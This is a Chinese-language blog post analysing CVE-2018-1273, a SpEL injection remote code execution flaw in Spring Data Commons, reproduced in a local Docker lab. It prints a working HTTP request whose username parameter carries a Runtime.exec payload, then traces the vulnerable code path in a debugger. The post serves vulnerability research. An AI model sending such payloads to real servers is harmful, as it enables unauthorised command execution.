CVE-2018-1273 漏洞分析

发布于 2019-01-02  1094 次阅读


漏洞背景:
最近Spring框架不大太平,接连爆出来多个RCE远程代码执行的CVE漏洞,其中有CVE-2018-1270,CVE-2018-1273,通过对造成漏洞部分代码进行分析,发现都是因为滥用SpEL的StandardEvaluationContext。
攻击者可以在未获得授权的情况下,将精心制作的请求参数注入到存在该漏洞的服务器上,从而发起远程代码执行攻击。
受影响的版本:
· Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
· Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
· Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
· Spring Data REST 3.0 – 3.0.5 (Kay SR5)
还有部分更早的版本
0x01:获取镜像源码
直接获取docker的漏洞环境,地址
https://github.com/1iK3/vulhub/tree/master/spring/CVE-2018-1273
执行docker-compose up –d启动镜像

然后访问http://localhost:8080/users即可进入漏洞页面
[
抓包post数据报文如下:

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“touch /tmp/z3r0s”)]=&password=&repeatedPassword=

执行docker-compose exec spring bash进入容器中,可以看到成功创建了/tmp/z3r0s文件

0x02: 调试分析
直接从docker中提取到了漏洞文件到本地,解压后倒入idea中打开。

发送如下payload:

从dispatchsevlet下断点,跟进程序的处理流程后,漏洞最终是在MethodReference中的updateExitTypeDescriptor触发:

完整的调用栈如下:

逐步跟进之后可以发现,首先获取了请求的register方法

从漏洞处罚后继续跟进后发现是通过bind中获取target来达到访问Controller的目的,漏洞的触发点是在创建bind的时候。所以从获取到register方法后开始一步步跟进

进入binder.bind开始调试,发现进入了dobind方法中在设置property时传入了payload:

进入applyPropertyValues中

在applyPropertyValues方法中,获取了PropertyAccessor后就调用了对象的setPropertyValues方法,在该方法中遍历property value然后进入setPropertyValue方法设置,

这里是一个接口方法,我们看一下有哪些实现类

在这里是MapDataBinder的内部类MapPropertyAccessor实现了方法,跟进下去:

在108行解析spel表达式,然后在129行调用了SpelExpression的setValue方法成功执行payload


网络安全研究员、渗透测试攻城狮
文能社会工程学,武能过狗拿shell
日的了站,做的了饭。
人生格言:即使是咸鱼,也一定是最咸的那条